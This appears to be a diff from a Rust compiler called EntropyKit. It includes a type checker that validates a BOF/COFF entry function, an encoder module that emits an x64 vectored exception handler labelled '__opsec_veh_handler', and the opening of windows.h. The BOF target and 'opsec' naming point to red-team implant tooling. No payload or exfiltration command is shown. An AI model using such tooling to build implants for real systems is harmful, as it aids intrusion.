BuildKind::Bof => "bof",
|
||||
BuildKind::Coff => "coff",
|
||||
}
|
||||
)),
|
||||
(BuildKind::Bof | BuildKind::Coff, Some(f)) => {
|
||||
let ret_ok = matches!(f.ret_ty.as_str(), "void" | "" | "int");
|
||||
let arity_ok = f.params.len() == 2;
|
||||
let args_ok = arity_ok
|
||||
&& (f.params[0].ty == "char*" || f.params[0].ty == "u8*" || f.params[0].ty == "void*")
|
||||
&& (f.params[1].ty == "int" || f.params[1].ty == "i32" || f.params[1].ty == "u32" || f.params[1].ty == "i64" || f.params[1].ty == "u64");
|
||||
if !(ret_ok && args_ok) {
|
||||
errs.push(format!(
|
||||
"error[T021]: BOF entry `go` must have signature \
|
||||
`fn go(args: char*, len: int) -> void` (got `fn {}({}) -> {}`)",
|
||||
f.name,
|
||||
f.params.iter()
|
||||
.map(|p| format!("{}: {}", p.name, p.ty))
|
||||
.collect::<Vec<_>>()
|
||||
.join(", "),
|
||||
if f.ret_ty.is_empty() { "void" } else { &f.ret_ty },
|
||||
));
|
||||
}
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
|
||||
for f in &prog.functions {
|
||||
let mut scope = Scope::new(&ctx);
|
||||
// Seed scope with parameter types so Var infers correctly.
|
||||
for p in &f.params {
|
||||
// Parameters are "declared" at the function header. We don't
|
||||
// have a per-param span yet - Span::default (unknown) lets
|
||||
// T010 still cite "(parameter)" if the user shadows one.
|
||||
scope.locals.insert(p.name.clone(), (p.ty.clone(), Span::default()));
|
||||
}
|
||||
check_block(&f.body, &f.ret_ty, &f.name, &mut scope, &mut errs);
|
||||
}
|
||||
// Static initialisers run in main's prologue but are placed in module scope -
|
||||
// walk them with an empty local scope so undefined Var references
|
||||
// would surface as "unknown" types (silent today; future T-rule).
|
||||
let mut empty = Scope::new(&ctx);
|
||||
for s in &prog.statics {
|
||||
if let Some(init) = &s.init {
|
||||
check_expr(init, Span::default(), &mut empty, &mut errs);
|
||||
// Treat the static as a top-level "var" for T003.
|
||||
check_assignment_compat(&s.ty, init, &mut empty,
|
||||
&format!("static `{}`", s.name),
|
||||
Span::default(), &mut errs);
|
||||
}
|
||||
}
|
||||
|
||||
if errs.is_empty() { Ok(()) } else { Err(errs) }
|
||||
}
|
||||
|
||||
// Context built once per program - function signatures, struct layouts.
|
||||
|
||||
struct Context<'a> {
|
||||
/// name -> (param types, return type) for every locally-defined fn.
|
||||
fns: HashMap<String, (&'a [Param], String)>,
|
||||
/// name -> declared field list for every struct (in declaration order).
|
||||
structs: HashMap<String, &'a [(String, String)]>,
|
||||
/// name -> declared type for every module-level static.
|
||||
statics: HashMap<String, String>,
|
||||
}
|
||||
|
||||
fn build_context(prog: &Program) -> Context<'_> {
|
||||
let mut fns = HashMap::with_capacity(prog.functions.len());
|
||||
for f in &prog.functions {
|
||||
fns.insert(f.name.clone(), (f.params.as_slice(), f.ret_ty.clone()));
|
||||
}
|
||||
let mut structs = HashMap::with_capacity(prog.structs.len());
|
||||
for s in &prog.structs {
|
||||
structs.entry(s.name.clone()).or_insert(s.fields.as_slice());
|
||||
}
|
||||
let mut statics = HashMap::with_capacity(prog.statics.len());
|
||||
for s in &prog.statics {
|
||||
statics.entry(s.name.clone()).or_insert(s.ty.clone());
|
||||
}
|
||||
Context { fns, structs, statics }
|
||||
}
|
||||
|
||||
// Walking scope for local-variable type tracking.
|
||||
|
||||
struct Scope<'a> {
|
||||
ctx: &'a Context<'a>,
|
||||
locals: HashMap<String, (String, Span)>,
|
||||
}
|
||||
|
||||
impl<'a> Scope<'a> {
|
||||
fn new(ctx: &'a Context<'a>) -> Self { Self { ctx, locals: HashMap::new() } }
|
||||
|
||||
/// Look up a name's declared type. Searches locals first, then module
|
||||
/// statics, then declared functions (as first-class code pointers).
|
||||
/// Returns None when the name is unbound - that's T012.
|
||||
fn lookup_type(&self, name: &str) -> Option<&str> {
|
||||
self.locals.get(name).map(|(t, _)| t.as_str())
|
||||
.or_else(|| self.ctx.statics.get(name).map(String::as_str))
|
||||
.or_else(|| if self.ctx.fns.contains_key(name) { Some("u64") } else { None })
|
||||
}
|
||||
}
|
||||
|
||||
// Statement walker.
|
||||
|
||||
fn check_block(stmts: &[Stmt], ret_ty: &str, fn_name: &str,
|
||||
scope: &mut Scope, errs: &mut Vec<String>) {
|
||||
let mut unreachable_reported = false; // one T011 per block, not per dead stmt
|
||||
let mut after_terminator = false;
|
||||
for s in stmts {
|
||||
if after_terminator && !unreachable_reported {
|
||||
let span = stmt_span(s);
|
||||
errs.push(format!(
|
||||
"error[T011] at {span}: unreachable code - the previous \
|
||||
statement always exits the block (via `ret`, `break`, \
|
||||
or `continue`)"
|
||||
));
|
||||
unreachable_reported = true;
|
||||
}
|
||||
check_stmt(s, ret_ty, fn_name, scope, errs);
|
||||
if is_terminator(s) { after_terminator = true; }
|
||||
}
|
||||
}
|
||||
|
||||
fn is_terminator(s: &Stmt) -> bool {
|
||||
matches!(s, Stmt::Ret { .. } | Stmt::Break | Stmt::Continue | Stmt::Raise { .. })
|
||||
}
|
||||
|
||||
/// Best-effort span for any statement. Span::default when the stmt
|
||||
/// variant doesn't carry a span yet - error message degrades gracefully
|
||||
/// to <unknown> rather than fabricating a position.
|
||||
fn stmt_span(s: &Stmt) -> Span {
|
||||
match s {
|
||||
Stmt::Var { span, .. } | Stmt::Ret { span, .. }
|
||||
| Stmt::Raise { span, .. } => *span,
|
||||
Stmt::Expr { span, value } => {
|
||||
if !span.is_unknown() { *span }
|
||||
else if let Expr::Call { span: cspan, .. } = value { *cspan }
|
||||
else { Span::default() }
|
||||
}
|
||||
_ => Span::default(),
|
||||
}
|
||||
}
|
||||
|
||||
fn check_stmt(s: &Stmt, ret_ty: &str, fn_name: &str,
|
||||
scope: &mut Scope, errs: &mut Vec<String>) {
|
||||
match s {
|
||||
Stmt::Var { name, ty, value, span } => {
|
||||
if let Some((_, prev)) = scope.locals.get(name) {
|
||||
let origin = if prev.is_unknown() { "(parameter)".into() }
|
||||
else { format!("{prev}") };
|
||||
errs.push(format!(
|
||||
"error[T010] at {span}: variable `{name}` is already \
|
||||
declared in this scope at {origin}. EntropyKit doesn't \
|
||||
have block scoping for `var` - every declaration is \
|
||||
visible for the rest of the function."
|
||||
));
|
||||
}
|
||||
// var x: void = ...; is meaningless - void exists only
|
||||
// as a return type (no value) and as a pointee for void*.
|
||||
if ty == "void" {
|
||||
errs.push(format!(
|
||||
"error[T022] at {span}: cannot declare `{name}` with type `void` - \
|
||||
`void` is a return-only type. Use `void*` for opaque pointers \
|
||||
or pick a concrete type."
|
||||
));
|
||||
}
|
||||
// The initialiser sees the OLD binding for name (so the
|
||||
// self-reference idiom var x: int = x + 1; reads the prior
|
||||
// x); the new binding goes in only after the RHS is checked.
|
||||
if let Some(v) = value {
|
||||
check_expr(v, *span, scope, errs);
|
||||
check_assignment_compat(ty, v, scope,
|
||||
&format!("var `{name}`"), *span, errs);
|
||||
}
|
||||
scope.locals.insert(name.clone(), (ty.clone(), *span));
|
||||
}
|
||||
Stmt::Expr { value: e, .. } => check_expr(e, stmt_span(s), scope, errs),
|
||||
Stmt::Ret { value, span } => {
|
||||
match (ret_ty, value.as_ref()) {
|
||||
("void", Some(_)) => errs.push(format!(
|
||||
"error[T023] at {span}: `fn {fn_name}() -> void` may not \
|
||||
return a value. Use a bare `ret;` to exit early."
|
||||
)),
|
||||
(rt, None) if rt != "void" && !rt.is_empty() => {
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
if let Some(e) = value {
|
||||
check_expr(e, *span, scope, errs);
|
||||
check_assignment_compat(ret_ty, e, scope,
|
||||
&format!("return value of `{fn_name}`"),
|
||||
*span, errs);
|
||||
}
|
||||
}
|
||||
Stmt::Break | Stmt::Continue | Stmt::Asm(_) => {}
|
||||
Stmt::Raise { value, span } => {
|
||||
check_expr(value, *span, scope, errs);
|
||||
}
|
||||
Stmt::If { cond, then_body, else_body } => {
|
||||
check_expr(cond, Span::default(), scope, errs);
|
||||
check_block(then_body, ret_ty, fn_name, scope, errs);
|
||||
check_block(else_body, ret_ty, fn_name, scope, errs);
|
||||
}
|
||||
Stmt::While { cond, body } => {
|
||||
check_expr(cond, Span::default(), scope, errs);
|
||||
check_block(body, ret_ty, fn_name, scope, errs);
|
||||
}
|
||||
Stmt::For { init, cond, step, body } => {
|
||||
if let Some(i) = init { check_stmt(i, ret_ty, fn_name, scope, errs); }
|
||||
if let Some(c) = cond { check_expr(c, Span::default(), scope, errs); }
|
||||
if let Some(st) = step { check_stmt(st, ret_ty, fn_name, scope, errs); }
|
||||
check_block(body, ret_ty, fn_name, scope, errs);
|
||||
}
|
||||
Stmt::Try { body, err_name, handler } => {
|
||||
check_block(body, ret_ty, fn_name, scope, errs);
|
||||
// err is bound inside the handler as an int sentinel today.
|
||||
scope.locals.insert(err_name.clone(), ("int".into(), Span::default()));
|
||||
check_block(handler, ret_ty, fn_name, scope, errs);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Expression walker - collects T001/T002/T005/T006.
|
||||
|
||||
fn check_expr(e: &Expr, stmt_span: Span, scope: &mut Scope, errs: &mut Vec<String>) {
|
||||
match e {
|
||||
Expr::Int(_) | Expr::Str(_) | Expr::Bool(_) | Expr::SizeOf { .. } => {}
|
||||
Expr::Var(name) => {
|
||||
if scope.lookup_type(name).is_none() {
|
||||
errs.push(format!(
|
||||
"error[T012] at {stmt_span}: use of undeclared variable \
|
||||
`{name}`. Declare it with `var {name}: <type> = ...;` \
|
||||
before this line, or check the spelling."
|
||||
));
|
||||
}
|
||||
}
|
||||
Expr::Assign { name, value } => {
|
||||
// Assignment to a name has the same "must exist" requirement
|
||||
// as reading it. Walking the RHS first matches source order
|
||||
// for diagnostics.
|
||||
check_expr(value, stmt_span, scope, errs);
|
||||
if scope.lookup_type(name).is_none() {
|
||||
errs.push(format!(
|
||||
"error[T012] at {stmt_span}: assignment to undeclared \
|
||||
variable `{name}`. Declare it with `var {name}: \
|
||||
<type>;` first."
|
||||
));
|
||||
}
|
||||
}
|
||||
Expr::Unary { operand, .. } => check_expr(operand, stmt_span, scope, errs),
|
||||
Expr::Binary { op, lhs, rhs } => {
|
||||
check_expr(lhs, stmt_span, scope, errs);
|
||||
check_expr(rhs, stmt_span, scope, errs);
|
||||
check_string_in_arith(op, lhs, rhs, errs);
|
||||
}
|
||||
Expr::Field { base, .. } => check_expr(base, stmt_span, scope, errs),
|
||||
Expr::FieldAssign { base, field, value } => {
|
||||
check_expr(base, stmt_span, scope, errs);
|
||||
check_expr(value, stmt_span, scope, errs);
|
||||
check_field_assign(base, field, value, scope, errs);
|
||||
}
|
||||
Expr::DerefAssign { ptr, value } => {
|
||||
check_expr(ptr, stmt_span, scope, errs);
|
||||
check_expr(value, stmt_span, scope, errs);
|
||||
}
|
||||
Expr::Cast { expr, .. } => check_expr(expr, stmt_span, scope, errs),
|
||||
Expr::Index { base, index } => {
|
||||
check_expr(base, stmt_span, scope, errs);
|
||||
check_expr(index, stmt_span, scope, errs);
|
||||
}
|
||||
Expr::IndexAssign { base, index, value } => {
|
||||
check_expr(base, stmt_span, scope, errs);
|
||||
check_expr(index, stmt_span, scope, errs);
|
||||
check_expr(value, stmt_span, scope, errs);
|
||||
}
|
||||
Expr::Call { ns, fname, args, span } => {
|
||||
for a in args { check_expr(a, *span, scope, errs); }
|
||||
check_call(ns, fname, args, *span, scope, errs);
|
||||
}
|
||||
Expr::StructLit { ty, fields, span } => {
|
||||
for (_, e) in fields { check_expr(e, *span, scope, errs); }
|
||||
let Some(decl) = scope.ctx.structs.get(ty.as_str()) else {
|
||||
errs.push(format!(
|
||||
"error[T013] at {span}: struct literal references undeclared \
|
||||
type `{ty}`"
|
||||
));
|
||||
return;
|
||||
};
|
||||
for (fname, value) in fields {
|
||||
let Some((_, fty)) = decl.iter().find(|(n, _)| n == fname) else {
|
||||
errs.push(format!(
|
||||
"error[T013] at {span}: struct `{ty}` has no field `{fname}`"
|
||||
));
|
||||
continue;
|
||||
};
|
||||
check_assignment_compat(fty, value, scope,
|
||||
&format!("field `{ty}.{fname}`"), *span, errs);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Per-rule checkers.
|
||||
|
||||
fn check_call(ns: &str, fname: &str, args: &[Expr], span: Span,
|
||||
scope: &mut Scope, errs: &mut Vec<String>) {
|
||||
if !ns.is_empty() { return; }
|
||||
if scope.locals.contains_key(fname) || scope.ctx.statics.contains_key(fname) {
|
||||
return;
|
||||
}
|
||||
let Some((params, _ret_ty)) = scope.ctx.fns.get(fname) else {
|
||||
errs.push(format!(
|
||||
"error[T001] at {span}: call to undefined function `{fname}` - \
|
||||
no `fn {fname}(...)` is declared in this program. \
|
||||
Did you mean to namespace it (e.g. `User32.{fname}` for Win32 \
|
||||
or `mem.{fname}` for a memory intrinsic)?"
|
||||
));
|
||||
return;
|
||||
};
|
||||
if params.len() != args.len() {
|
||||
errs.push(format!(
|
||||
"error[T002] at {span}: `{fname}` expects {} argument{} but got {}",
|
||||
params.len(),
|
||||
if params.len() == 1 { "" } else { "s" },
|
||||
args.len(),
|
||||
));
|
||||
return;
|
||||
}
|
||||
// T005 (general mismatch) / T009 (pointer-pointee specifically) -
|
||||
// per-argument type compatibility.
|
||||
for (i, (param, arg)) in params.iter().zip(args.iter()).enumerate() {
|
||||
let arg_ty = infer_type(arg, scope);
|
||||
match compat(¶m.ty, &arg_ty, arg) {
|
||||
Compat::Ok => {}
|
||||
Compat::Mismatch => errs.push(format!(
|
||||
"error[T005] at {span}: arg {} of `{fname}` - \
|
||||
parameter `{}` is declared `{}` but got `{}`",
|
||||
i + 1, param.name, param.ty, display_type(&arg_ty),
|
||||
)),
|
||||
Compat::PointerPointeeMismatch => errs.push(format!(
|
||||
"error[T009] at {span}: arg {} of `{fname}` - \
|
||||
parameter `{}` is `{}` but the argument is `{}`. \
|
||||
Add an explicit cast (`({})arg`) if the reinterpretation \
|
||||
is intentional.",
|
||||
i + 1, param.name, param.ty, display_type(&arg_ty), param.ty,
|
||||
)),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn check_assignment_compat(target_ty: &str, value: &Expr, scope: &Scope,
|
||||
ctx_label: &str, span: Span, errs: &mut Vec<String>) {
|
||||
let value_ty = infer_type(value, scope);
|
||||
match compat(target_ty, &value_ty, value) {
|
||||
Compat::Ok => {}
|
||||
Compat::Mismatch => {
|
||||
// Pick T003 for var / static initialisers, T004 for return values,
|
||||
// based on the label the caller passed in. Keep the code stable
|
||||
// per-rule so suppression instructions remain meaningful.
|
||||
let code = if ctx_label.starts_with("return value") { "T004" } else { "T003" };
|
||||
errs.push(format!(
|
||||
"error[{code}] at {span}: {ctx_label} is declared `{target_ty}` \
|
||||
but the value has type `{}`",
|
||||
display_type(&value_ty),
|
||||
));
|
||||
}
|
||||
Compat::PointerPointeeMismatch => errs.push(format!(
|
||||
"error[T009] at {span}: {ctx_label} is `{target_ty}` but the value \
|
||||
is `{}`. Add an explicit cast (`({})value`) if the \
|
||||
reinterpretation is intentional.",
|
||||
display_type(&value_ty), target_ty,
|
||||
)),
|
||||
}
|
||||
}
|
||||
|
||||
fn check_field_assign(base: &Expr, field: &str, value: &Expr,
|
||||
scope: &Scope, errs: &mut Vec<String>) {
|
||||
let base_ty = infer_type(base, scope);
|
||||
let struct_name = base_ty.trim_end_matches('*');
|
||||
let Some(fields) = scope.ctx.structs.get(struct_name) else { return; };
|
||||
let Some((_, field_ty)) = fields.iter().find(|(n, _)| n == field) else { return; };
|
||||
let value_ty = infer_type(value, scope);
|
||||
match compat(field_ty, &value_ty, value) {
|
||||
Compat::Ok => {}
|
||||
Compat::Mismatch => errs.push(format!(
|
||||
"error[T008]: field `{struct_name}.{field}` is declared `{field_ty}` \
|
||||
but the assigned value has type `{}`",
|
||||
display_type(&value_ty),
|
||||
)),
|
||||
Compat::PointerPointeeMismatch => errs.push(format!(
|
||||
"error[T009]: field `{struct_name}.{field}` is `{field_ty}` \
|
||||
but the assigned value is `{}`. Add an explicit cast \
|
||||
(`({})value`) if the reinterpretation is intentional.",
|
||||
display_type(&value_ty), field_ty,
|
||||
)),
|
||||
}
|
||||
}
|
||||
|
||||
/// T006 - 1 + "hello" and friends.
|
||||
fn check_string_in_arith(op: &str, lhs: &Expr, rhs: &Expr, errs: &mut Vec<String>) {
|
||||
// Bitwise + arithmetic ops that don't make sense for strings.
|
||||
let is_arith = matches!(op,
|
||||
"+" | "-" | "*" | "/" | "%" |
|
||||
"&" | "|" | "^" | "<<" | ">>");
|
||||
if !is_arith { return; }
|
||||
if let Some(s) = string_literal(lhs).or_else(|| string_literal(rhs)) {
|
||||
errs.push(format!(
|
||||
"error[T006]: string literal {:?} used as an operand of `{op}` - \
|
||||
EntropyKit doesn't define `{op}` on strings. Use `(u64)\"...\"` \
|
||||
to take the literal's pointer if you really want pointer math.",
|
||||
truncate(s, 24),
|
||||
));
|
||||
}
|
||||
}
|
||||
|
||||
fn string_literal(e: &Expr) -> Option<&str> {
|
||||
match e {
|
||||
Expr::Str(s) => Some(s.as_str()),
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
fn truncate(s: &str, max: usize) -> String {
|
||||
if s.len() <= max { s.to_string() }
|
||||
else { format!("{}…", &s[..max]) }
|
||||
}
|
||||
|
||||
// Type inference - minimal, string-based. Returns "?" when we honestly
|
||||
// don't know (avoids false positives downstream).
|
||||
|
||||
fn infer_type(e: &Expr, scope: &Scope) -> String {
|
||||
match e {
|
||||
Expr::Int(_) => "int".into(),
|
||||
Expr::Str(_) => "str".into(),
|
||||
Expr::Bool(_) => "bool".into(),
|
||||
Expr::SizeOf { .. } => "u64".into(),
|
||||
Expr::Cast { ty, .. } => ty.clone(),
|
||||
Expr::Var(name) => {
|
||||
scope.lookup_type(name).map(str::to_string).unwrap_or_else(|| "?".into())
|
||||
}
|
||||
Expr::Field { base, field } => {
|
||||
let base_ty = infer_type(base, scope);
|
||||
// T* field access auto-derefs; collapse to T for lookup.
|
||||
let lookup = base_ty.trim_end_matches('*');
|
||||
scope.ctx.structs.get(lookup)
|
||||
.and_then(|fields| fields.iter().find(|(n, _)| n == field).map(|(_, t)| t.clone()))
|
||||
.unwrap_or_else(|| "?".into())
|
||||
}
|
||||
Expr::Index { base, .. } => {
|
||||
let t = infer_type(base, scope);
|
||||
element_type(&t).unwrap_or_else(|| "?".into())
|
||||
}
|
||||
Expr::Unary { op, operand } => {
|
||||
match op.as_str() {
|
||||
"*" => {
|
||||
let t = infer_type(operand, scope);
|
||||
pointee(&t).unwrap_or_else(|| "?".into())
|
||||
}
|
||||
"&" => format!("{}*", infer_type(operand, scope)),
|
||||
"-" | "~" => "int".into(),
|
||||
"!" => "bool".into(),
|
||||
_ => "?".into(),
|
||||
}
|
||||
}
|
||||
Expr::Binary { op, .. } => {
|
||||
match op {
|
||||
op if matches!(op.as_str(),
|
||||
"==" | "!=" | "<" | ">" | "<=" | ">=" | "&&" | "||") => "bool".into(),
|
||||
_ => "int".into(),
|
||||
}
|
||||
}
|
||||
Expr::Call { ns, fname, .. } => infer_call_type(ns, fname, scope),
|
||||
// Assignments are statements at the source level but expressions
|
||||
// at the AST level - they evaluate to the assigned value's type.
|
||||
Expr::Assign { value, .. } => infer_type(value, scope),
|
||||
Expr::FieldAssign { value, .. } => infer_type(value, scope),
|
||||
Expr::DerefAssign { value, .. } => infer_type(value, scope),
|
||||
Expr::IndexAssign { value, .. } => infer_type(value, scope),
|
||||
Expr::StructLit { ty, .. } => ty.clone(),
|
||||
}
|
||||
}
|
||||
|
||||
fn infer_call_type(ns: &str, fname: &str, scope: &Scope) -> String {
|
||||
if ns.is_empty() {
|
||||
return scope.ctx.fns.get(fname).map(|(_, r)| r.clone())
|
||||
.unwrap_or_else(|| "?".into());
|
||||
}
|
||||
match (ns, fname) {
|
||||
("mem", "alloc") => "u64".into(),
|
||||
("mem", "set") | ("mem", "zero") | ("mem", "copy") => "u64".into(),
|
||||
("mem", "cmp") => "int".into(),
|
||||
("mem", "collect") => "int".into(),
|
||||
("shared", "get") => "u64".into(),
|
||||
("shared", "put") => "int".into(),
|
||||
("str", "format") => "str".into(),
|
||||
// Anything else with a non-empty namespace is a Win32 import.
|
||||
// Treat as a generic 64-bit handle/pointer - caller can cast for
|
||||
// pointee-typed use.
|
||||
_ => "u64".into(),
|
||||
}
|
||||
}
|
||||
|
||||
fn element_type(ty: &str) -> Option<String> {
|
||||
if let Some(t) = ty.strip_suffix(']') {
|
||||
if let Some(idx) = t.rfind('[') {
|
||||
return Some(t[..idx].to_string());
|
||||
}
|
||||
}
|
||||
pointee(ty)
|
||||
}
|
||||
|
||||
fn pointee(ty: &str) -> Option<String> {
|
||||
ty.strip_suffix('*').map(|s| s.to_string())
|
||||
}
|
||||
|
||||
|
||||
#[derive(PartialEq, Eq)]
|
||||
enum Compat {
|
||||
Ok,
|
||||
/// Different type families altogether (str vs int, struct vs pointer).
|
||||
Mismatch,
|
||||
/// Both sides are pointers / arrays but the pointee types differ.
|
||||
PointerPointeeMismatch,
|
||||
}
|
||||
|
||||
fn compat(target: &str, source: &str, source_expr: &Expr) -> Compat {
|
||||
// Unknown source to don't fire false positives. As the inferer learns
|
||||
// more, this fallback shrinks naturally.
|
||||
if source == "?" || target == "?" { return Compat::Ok; }
|
||||
if target == source { return Compat::Ok; }
|
||||
|
||||
// Integer literal 0 is the universal null - assignable to any pointer.
|
||||
if matches!(source_expr, Expr::Int(0)) && is_pointer(target) { return Compat::Ok; }
|
||||
|
||||
// An explicit (T)expr cast is the user saying "trust me, treat this
|
||||
// as a T." Stop further checking - the cast is the type-system escape
|
||||
// hatch by design. If they wrote it wrong, that's their problem.
|
||||
if matches!(source_expr, Expr::Cast { .. }) { return Compat::Ok; }
|
||||
|
||||
let tf = family(target);
|
||||
let sf = family(source);
|
||||
|
||||
if tf == sf {
|
||||
if tf == Family::Pointer {
|
||||
if pointee_eq(target, source) { Compat::Ok }
|
||||
else { Compat::PointerPointeeMismatch }
|
||||
} else {
|
||||
Compat::Ok
|
||||
}
|
||||
} else if matches!((tf, sf), (Family::Int, Family::Pointer) | (Family::Pointer, Family::Int)) {
|
||||
// Pointer <-> integer interchange is still permitted at the slot
|
||||
// level (both are 8 bytes). This is the boundary that bytes
|
||||
// will tighten in a future rule.
|
||||
Compat::Ok
|
||||
} else {
|
||||
Compat::Mismatch
|
||||
}
|
||||
}
|
||||
|
||||
/// True when two pointer/array types denote the same element type. Strips
|
||||
/// one level of * or [N] from each side, then compares.
|
||||
fn pointee_eq(a: &str, b: &str) -> bool {
|
||||
let ap = element_type(a).unwrap_or_default();
|
||||
let bp = element_type(b).unwrap_or_default();
|
||||
!ap.is_empty() && ap == bp
|
||||
}
|
||||
|
||||
#[derive(PartialEq, Eq, Clone, Copy)]
|
||||
enum Family { Int, Bool, Str, Pointer, Struct, Void }
|
||||
|
||||
fn family(ty: &str) -> Family {
|
||||
if ty == "void" { return Family::Void; }
|
||||
if is_pointer(ty) { return Family::Pointer; }
|
||||
match ty {
|
||||
"int" | "u64" | "i64" | "u32" | "i32" | "u16" | "i16" | "u8" | "i8" => Family::Int,
|
||||
"bool" => Family::Bool,
|
||||
"str" | "wstr" => Family::Str,
|
||||
_ if ty.contains('[') => Family::Pointer, // array decays to pointer
|
||||
_ => Family::Struct, // assume user-defined struct
|
||||
}
|
||||
}
|
||||
|
||||
fn is_pointer(ty: &str) -> bool { ty.ends_with('*') || ty.contains('[') }
|
||||
|
||||
/// Display-friendly wrapper that turns the internal "?" sentinel into a
|
||||
/// less alarming "unknown" so error messages don't leak the sentinel.
|
||||
fn display_type(ty: &str) -> String {
|
||||
if ty == "?" { "<unknown>".into() }
|
||||
else { ty.to_string() }
|
||||
}
|
||||
|
||||
+59
@@ -0,0 +1,59 @@
|
||||
|
||||
use crate::encoder::{Cond, Encoder, Reg64};
|
||||
|
||||
pub const VEH_FN: &str = "__opsec_veh_handler";
|
||||
|
||||
/// Handle returned by AddVectoredExceptionHandler. Stored so we can
|
||||
/// remove the handler at exit.
|
||||
pub const VEH_HANDLE_SLOT: &str = "__opsec_veh_handle";
|
||||
|
||||
// EXCEPTION_POINTERS / EXCEPTION_RECORD / CONTEXT offsets (x64, stable
|
||||
// since Vista). See winnt.h.
|
||||
const EP_EXCEPTION_RECORD: i32 = 0x00;
|
||||
const EP_CONTEXT_RECORD: i32 = 0x08;
|
||||
const ER_EXCEPTION_CODE: i32 = 0x00;
|
||||
const CTX_RAX: i32 = 0x78;
|
||||
const CTX_RSP: i32 = 0x98;
|
||||
const CTX_RBP: i32 = 0xA0;
|
||||
const CTX_RIP: i32 = 0xF8;
|
||||
|
||||
pub fn ensure_veh_slot(enc: &mut Encoder) {
|
||||
if !enc.data_has(VEH_HANDLE_SLOT) {
|
||||
enc.add_bss(VEH_HANDLE_SLOT, 8);
|
||||
}
|
||||
}
|
||||
|
||||
pub fn emit_veh_handler(enc: &mut Encoder) {
|
||||
use Reg64::*;
|
||||
use crate::macros::{HANDLER_PC, HANDLER_RSP, HANDLER_RBP};
|
||||
|
||||
enc.place_code_label(VEH_FN);
|
||||
|
||||
enc.mov_r64_data(Rax, HANDLER_PC);
|
||||
enc.test_r64_r64(Rax, Rax);
|
||||
enc.jcc_label(Cond::Z, ".LVEH_NOT_HANDLED");
|
||||
|
||||
enc.mov_r64_r64disp(Rdx, Rcx, EP_CONTEXT_RECORD);
|
||||
enc.mov_r64disp_r64(Rdx, CTX_RIP, Rax);
|
||||
|
||||
enc.mov_r64_data(Rax, HANDLER_RSP);
|
||||
enc.mov_r64disp_r64(Rdx, CTX_RSP, Rax);
|
||||
|
||||
enc.mov_r64_data(Rax, HANDLER_RBP);
|
||||
enc.mov_r64disp_r64(Rdx, CTX_RBP, Rax);
|
||||
|
||||
// ExceptionCode -> Context->Rax.
|
||||
enc.mov_r64_r64disp(Rcx, Rcx, EP_EXCEPTION_RECORD);
|
||||
enc.mov_r32_r64disp(Rcx, Rcx, ER_EXCEPTION_CODE);
|
||||
enc.mov_r64disp_r64(Rdx, CTX_RAX, Rcx);
|
||||
|
||||
enc.xor_r64_r64(Rax, Rax);
|
||||
enc.mov_data_r64(HANDLER_PC, Rax);
|
||||
|
||||
enc.mov_r64_imm64(Rax, 0xFFFF_FFFF_FFFF_FFFF);
|
||||
enc.ret();
|
||||
|
||||
enc.place_code_label(".LVEH_NOT_HANDLED");
|
||||
enc.xor_r64_r64(Rax, Rax);
|
||||
enc.ret();
|
||||
}
|
||||
@@ -0,0 +1,272 @@
|
||||
#include <winapifamily.h>
|
||||
|
||||
/*++ BUILD Version: 0001 Increment this if a change has global effects
|
||||
|
||||
Copyright (c) Microsoft Corporation. All rights reserved.
|
||||
|
||||
Module Name:
|
||||
|
||||
|
||||
windows.h
|
||||
|
||||
Abstract:
|
||||
|
||||
Master include file for Windows applications.
|
||||
|
||||
--*/
|
||||
|
||||
#ifndef _WINDOWS_
|
||||
#define _WINDOWS_
|
||||
|
||||
|
||||
#include <sdkddkver.h>
|
||||
|
||||
#ifndef _INC_WINDOWS
|
||||
#define _INC_WINDOWS
|
||||
|
||||
#if defined (_MSC_VER) && (_MSC_VER >= 1020)
|
||||
#pragma once
|
||||
#endif
|
||||
|
||||
#pragma region Application Family or OneCore Family
|
||||
#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP | WINAPI_PARTITION_SYSTEM)
|
||||
|
||||
|
||||
/* If defined, the following flags inhibit definition
|
||||
* of the indicated items.
|
||||
*
|
||||
* NOGDICAPMASKS - CC_*, LC_*, PC_*, CP_*, TC_*, RC_
|
||||
* NOVIRTUALKEYCODES - VK_*
|
||||
* NOWINMESSAGES - WM_*, EM_*, LB_*, CB_*
|
||||
* NOWINSTYLES - WS_*, CS_*, ES_*, LBS_*, SBS_*, CBS_*
|
||||
* NOSYSMETRICS - SM_*
|
||||
* NOMENUS - MF_*
|
||||
* NOICONS - IDI_*
|
||||
* NOKEYSTATES - MK_*
|
||||
* NOSYSCOMMANDS - SC_*
|
||||
* NORASTEROPS - Binary and Tertiary raster ops
|
||||
* NOSHOWWINDOW - SW_*
|
||||
* OEMRESOURCE - OEM Resource values
|
||||
* NOATOM - Atom Manager routines
|
||||
* NOCLIPBOARD - Clipboard routines
|
||||
* NOCOLOR - Screen colors
|
||||
* NOCTLMGR - Control and Dialog routines
|
||||
* NODRAWTEXT - DrawText() and DT_*
|
||||
* NOGDI - All GDI defines and routines
|
||||
* NOKERNEL - All KERNEL defines and routines
|
||||
* NOUSER - All USER defines and routines
|
||||
* NONLS - All NLS defines and routines
|
||||
* NOMB - MB_* and MessageBox()
|
||||
* NOMEMMGR - GMEM_*, LMEM_*, GHND, LHND, associated routines
|
||||
* NOMETAFILE - typedef METAFILEPICT
|
||||
* NOMINMAX - Macros min(a,b) and max(a,b)
|
||||
* NOMSG - typedef MSG and associated routines
|
||||
* NOOPENFILE - OpenFile(), OemToAnsi, AnsiToOem, and OF_*
|
||||
* NOSCROLL - SB_* and scrolling routines
|
||||
* NOSERVICE - All Service Controller routines, SERVICE_ equates, etc.
|
||||
* NOSOUND - Sound driver routines
|
||||
* NOTEXTMETRIC - typedef TEXTMETRIC and associated routines
|
||||
* NOWH - SetWindowsHook and WH_*
|
||||
* NOWINOFFSETS - GWL_*, GCL_*, associated routines
|
||||
* NOCOMM - COMM driver routines
|
||||
* NOKANJI - Kanji support stuff.
|
||||
* NOHELP - Help engine interface.
|
||||
* NOPROFILER - Profiler interface.
|
||||
* NODEFERWINDOWPOS - DeferWindowPos routines
|
||||
* NOMCX - Modem Configuration Extensions
|
||||
*/
|
||||
|
||||
#if defined(RC_INVOKED) && !defined(NOWINRES)
|
||||
